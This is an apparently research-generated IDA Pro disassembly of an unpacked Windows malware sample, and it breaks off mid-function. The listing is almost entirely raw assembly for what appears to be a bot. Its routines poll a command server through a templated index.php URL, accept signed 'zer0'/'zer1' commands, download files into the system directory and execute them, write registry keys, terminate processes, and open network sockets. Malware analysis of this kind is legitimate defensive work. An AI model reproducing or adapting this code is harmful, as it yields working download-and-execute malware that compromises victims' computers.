; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E0256DE741B4929B5AA36A9D436B54D2 ; File Name : u:\work\e0256de741b4929b5aa36a9d436b54d2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31430000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31431000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31431004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31431008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3143100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_31432A49+1Dr dword_31431010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31431014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_31432A49+4Er ... dword_31431018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3143101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31431020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31431024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31431028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3143102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31431030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31431034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31431038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31431040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31431044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31431048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3143104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31431050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31431054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31431058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3143105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31431060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31431064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31431068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31432D2E+8Fr dword_3143106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31431070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31431074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31432C62+Fr dword_31431078 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_3143107C dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_31431080 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_314311A0+F6r ... dword_31431084 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_3143237F+57r dword_31431088 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_3143141F+64r ... dword_3143108C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31432C62+40r dword_31431090 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31432C62+1Br dword_31431094 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchange ; sub_3143185D+1r dword_31431098 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_3143109C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_314319BC+16Cr ... dword_314310A0 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_314310A4 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_314310A8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31431FAB+2Cr dword_314310AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_3143256D+124r dword_314310B0 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_314310B4 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31432AF5+92r dword_314310B8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:314324F1r dword_314310BC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_314310C0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_314310C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_3143210D+12r dword_314310C8 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_314310CC dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_314310D0 dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_314310D4 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_3143237F+66r ... dword_314310D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_3143278A+3Er ... dword_314310DC dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_314310E0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_314310E4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31432C62+C3r dd 0 dword_314310EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_314310F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_314310F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_314310F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_314310FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_3143212E:loc_3143213Fr ... ; --------------------------------------------------------------------------- loc_31431100: ; DATA XREF: UPX0:loc_31432EA0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31431104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_3143141F+1A0r ... dword_31431108 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_3143110C dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_3143141F+B4r dd 0 dword_31431114 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31431118 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_3143111C dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_31431120 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31431782+5Dr ... align 8 dword_31431128 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_31431782+9Dr dword_3143112C dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_31431782+89r dword_31431130 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31431134 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31432967r dword_31431138 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_31431782+B0r align 10h dword_31431140 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31431144 dd 71AB3E00h ; resolved to->WS2_32.binddword_31431148 dd 71AB88D3h ; resolved to->WS2_32.listendword_3143114C dd 71AC1028h ; resolved to->WS2_32.acceptdword_31431150 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31431154 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31431158 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_3143115C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_3143237F+ACr dword_31431160 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_314328D7+Dr dword_31431164 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_3143237F+F0r dword_31431168 dd 71AB406Ah ; resolved to->WS2_32.connectdword_3143116C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31432239+67r ... dword_31431170 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_314319BC+1D8r ... dword_31431174 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31432239+128r dword_31431178 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31432239+12Fr align 10h dword_31431180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31431190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314311A0 proc near ; CODE XREF: sub_3143141F+172p var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314311CB push 1 jmp loc_31431261 ; --------------------------------------------------------------------------- loc_314311CB: ; CODE XREF: sub_314311A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_31431090 ; GetSystemDirectoryA mov edi, dword_3143108C lea eax, [ebp+var_110] push offset dword_314341F8 push eax call edi ; dword_3143108C lea eax, [ebp+var_110] push 6 push eax call dword_31431088 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_3143212E pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314341F0 push eax call edi ; dword_3143108C push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31431084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31431241 push 2 jmp short loc_31431261 ; --------------------------------------------------------------------------- loc_31431241: ; CODE XREF: sub_314311A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31431128 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31431264 push [ebp+var_4] call dword_31431080 ; CloseHandle push 3 loc_31431261: ; CODE XREF: sub_314311A0+26j ; sub_314311A0+9Fj pop eax jmp short loc_314312B5 ; --------------------------------------------------------------------------- loc_31431264: ; CODE XREF: sub_314311A0+B4j mov edi, 100000h push edi call sub_31432E6C mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31431138 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3143107C ; WriteFile push [ebp+var_4] call dword_31431080 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_3143215E push ebx call sub_31432E80 add esp, 0Ch xor eax, eax loc_314312B5: ; CODE XREF: sub_314311A0+C2j pop edi pop esi pop ebx leave retn sub_314311A0 endp ; =============== S U B R O U T I N E ======================================= sub_314312BA proc near ; CODE XREF: sub_3143141F+103p ; sub_3143141F+1DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jle short locret_31431312 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314312D8: ; CODE XREF: sub_314312BA+53j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl shl bl, 4 xor dl, bl add eax, 3 mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, [esp+0Ch+arg_8] jl short loc_314312D8 pop edi pop esi pop ebx locret_31431312: ; CODE XREF: sub_314312BA+5j retn sub_314312BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431313 proc near ; CODE XREF: sub_31431398+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31431346 add ebx, 1Ah loc_31431346: ; CODE XREF: sub_31431313+2Ej movsx edi, [ebp+arg_0] mov esi, dword_3143110C lea eax, [ebp+var_1C] push edi push eax call esi ; dword_3143110C pop ecx test eax, eax pop ecx jz short loc_31431370 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431370: ; CODE XREF: sub_31431313+48j lea eax, [ebp+var_38] push edi push eax call esi ; dword_3143110C pop ecx test eax, eax pop ecx jz short loc_31431390 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431390: ; CODE XREF: sub_31431313+68j mov al, [ebp+arg_0] loc_31431393: ; CODE XREF: sub_31431313+5Bj ; sub_31431313+7Bj pop edi pop esi pop ebx leave retn sub_31431313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431398 proc near ; CODE XREF: sub_3143141F+E0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314313F5 mov edi, [ebp+arg_0] push ebx loc_314313AD: ; CODE XREF: sub_31431398+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31431313 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314313D9 cmp bl, 7Ah jg short loc_314313D9 movsx esi, bl sub esi, 61h loc_314313D9: ; CODE XREF: sub_31431398+34j ; sub_31431398+39j cmp bl, 41h jl short loc_314313E9 cmp bl, 5Ah jg short loc_314313E9 movsx esi, bl sub esi, 41h loc_314313E9: ; CODE XREF: sub_31431398+44j ; sub_31431398+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314313AD pop ebx jmp short loc_314313F8 ; --------------------------------------------------------------------------- loc_314313F5: ; CODE XREF: sub_31431398+Fj mov edi, [ebp+arg_0] loc_314313F8: ; CODE XREF: sub_31431398+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31431398 endp ; =============== S U B R O U T I N E ======================================= sub_314313FF proc near ; CODE XREF: sub_3143141F+10Fp ; sub_3143141F+1FCp arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31431403: ; CODE XREF: sub_314313FF+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31431403 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_314313FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143141F proc near ; CODE XREF: sub_31431782+BAp var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1CC = byte ptr -1CCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_168 = byte ptr -168h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_120 = byte ptr -120h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431180 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1DCh push ebx push esi push edi mov [ebp+var_12C], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314315B7 add esi, 4 mov [ebp+var_134], esi jz loc_314315B7 push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 50h jle loc_314315B7 lea eax, [esi+100h] mov cl, [eax] mov [ebp+var_174], cl and byte ptr [eax], 0 mov al, [esi] mov [ebp+var_16C], al movsx ebx, al sub ebx, 61h mov [ebp+var_130], ebx js loc_314315AB cmp ebx, 1Ah jge loc_314315AB inc esi mov [ebp+var_134], esi push 7Eh push esi call dword_3143110C ; strchr pop ecx pop ecx mov edi, eax mov [ebp+var_138], edi test edi, edi jz loc_314315AB mov al, [edi] mov [ebp+var_178], al and byte ptr [edi], 0 push ebx push esi lea eax, [ebp+var_120] push eax call sub_31431398 mov al, [ebp+var_178] mov [edi], al lea esi, [edi+1] mov [ebp+var_134], esi push 30h lea eax, [ebp+var_168] push eax lea eax, [esi+1] push eax call sub_314312BA lea eax, [ebp+var_168] push eax call sub_314313FF add esp, 1Ch cmp [esi], al jnz short loc_314315AB push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA add esp, 0Ch lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_168] push eax lea eax, [ebp+var_120] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 18h test eax, eax jnz short loc_3143159E cmp [ebp+var_1C], eax jz short loc_3143159E lea eax, [ebp+var_120] push eax call sub_314311A0 pop ecx and [ebp+var_12C], 0 loc_3143159E: ; CODE XREF: sub_3143141F+164j ; sub_3143141F+169j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_314315AB: ; CODE XREF: sub_3143141F+9Bj ; sub_3143141F+A4j ... mov al, [ebp+var_174] mov [esi+100h], al loc_314315B7: ; CODE XREF: sub_3143141F+4Ej ; sub_3143141F+5Dj ... push offset aZer1 ; "zer1" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_31431763 add esi, 4 mov [ebp+var_134], esi push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 5Ah jle loc_31431763 push 0Ch lea eax, [ebp+var_184] push eax push esi call sub_314312BA push 30h lea eax, [ebp+var_1B4] push eax lea eax, [esi+13h] push eax call sub_314312BA lea eax, [ebp+var_1B4] push eax call sub_314313FF add esp, 1Ch cmp [esi+12h], al jnz loc_31431763 push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_1B4] push eax push 0Ch lea eax, [ebp+var_184] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 24h test eax, eax jnz loc_31431756 cmp [ebp+var_1C], eax jz loc_31431756 push 7 pop ecx mov esi, offset aSoftwareMicros ; "Software\\Microsoft\\Wireless" lea edi, [ebp+var_1E8] rep movsd mov eax, dword_3143426C mov [ebp+var_1B8], eax push 13h lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax mov esi, 80000002h push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_314316CF lea eax, [ebp+var_1CC] push eax call dword_31431108 ; atoi pop ecx mov [ebp+var_1EC], eax jmp short loc_314316D6 ; --------------------------------------------------------------------------- loc_314316CF: ; CODE XREF: sub_3143141F+298j and [ebp+var_1EC], 0 loc_314316D6: ; CODE XREF: sub_3143141F+2AEj mov eax, [ebp+var_184] cmp [ebp+var_1EC], eax jnb short loc_3143174F mov [ebp+var_1EC], eax push eax push offset aD ; "%d" lea eax, [ebp+var_1CC] push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_1CC] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax push esi call sub_31432AA2 add esp, 14h cmp dword_31435048, 0 jnz short loc_3143173E push [ebp+var_180] jmp short loc_31431744 ; --------------------------------------------------------------------------- loc_3143173E: ; CODE XREF: sub_3143141F+315j push [ebp+var_17C] loc_31431744: ; CODE XREF: sub_3143141F+31Dj push offset dword_3143504C call dword_31431094 ; InterlockedExchange loc_3143174F: ; CODE XREF: sub_3143141F+2C3j and [ebp+var_12C], 0 loc_31431756: ; CODE XREF: sub_3143141F+247j ; sub_3143141F+250j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_31431763: ; CODE XREF: sub_3143141F+1B2j ; sub_3143141F+1CEj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_12C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_3143141F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431782 proc near ; CODE XREF: sub_3143185D+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31432E6C pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31431098 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_314317EA lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_3143502C push dword_31435044 push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_31431120 ; wsprintfA add esp, 1Ch jmp short loc_31431802 ; --------------------------------------------------------------------------- loc_314317EA: ; CODE XREF: sub_31431782+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_31431120 ; wsprintfA add esp, 0Ch loc_31431802: ; CODE XREF: sub_31431782+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31431128 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31431138 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_3143141F push esi call sub_31432E80 mov esi, dword_31431130 pop ecx pop ecx push ebx call esi ; dword_31431130 push edi call esi ; dword_31431130 mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_31431782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3143185D proc near ; DATA XREF: sub_3143256D+169o push ebx mov ebx, dword_31431094 push esi push edi loc_31431866: ; CODE XREF: sub_3143185D+88j xor esi, esi mov edi, 46021h loc_3143186D: ; CODE XREF: sub_3143185D+86j inc esi inc esi call sub_314321F3 test eax, eax jz short loc_314318B7 mov al, byte_31434080[esi+esi*4] push eax push off_31434081[esi+esi*4] call sub_31431782 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314318B7 push 0 push offset dword_31435044 call ebx ; dword_31431094 push 0 push offset dword_3143502C call ebx ; dword_31431094 loc_314318B7: ; CODE XREF: sub_3143185D+19j ; sub_3143185D+46j call dword_314310FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31432223 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_3143109C ; Sleep cmp esi, 16h jb short loc_3143186D jmp loc_31431866 sub_3143185D endp ; =============== S U B R O U T I N E ======================================= sub_314318EA proc near ; CODE XREF: sub_3143141F+129p ; sub_3143141F+21Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31431034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; dword_31431034 test eax, eax jnz short loc_31431917 push 8 push 1 push edi push edi push ebx call esi ; dword_31431034 test eax, eax jnz short loc_31431917 push 1 pop eax jmp short loc_31431935 ; --------------------------------------------------------------------------- loc_31431917: ; CODE XREF: sub_314318EA+19j ; sub_314318EA+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31431038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31431935: ; CODE XREF: sub_314318EA+2Bj pop edi pop esi pop ebx retn sub_314318EA endp ; =============== S U B R O U T I N E ======================================= sub_31431939 proc near ; CODE XREF: sub_3143141F+186p ; sub_3143141F+33Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3143102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31431030 ; CryptReleaseContext xor eax, eax pop esi retn sub_31431939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431955 proc near ; CODE XREF: sub_3143141F+15Ap ; sub_3143141F+23Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3143101C ; CryptCreateHash test eax, eax jnz short loc_3143197B push 1 pop eax jmp short loc_314319B8 ; --------------------------------------------------------------------------- loc_3143197B: ; CODE XREF: sub_31431955+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31431020 ; CryptHashData test eax, eax jnz short loc_31431994 push 2 pop edi jmp short loc_314319AD ; --------------------------------------------------------------------------- loc_31431994: ; CODE XREF: sub_31431955+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31431024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314319AD: ; CODE XREF: sub_31431955+3Dj push [ebp+arg_0] call dword_31431028 ; CryptDestroyHash mov eax, edi loc_314319B8: ; CODE XREF: sub_31431955+24j pop edi pop esi pop ebp retn sub_31431955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314319BC proc near ; CODE XREF: sub_31432728+35p ; sub_3143278A+47p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31432EC0 mov eax, dword_31434CAC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31434CB0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3143115C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31431F1C push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31431160 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_314310A0 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31434CA0 push eax call dword_31431120 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31431A2F: ; CODE XREF: 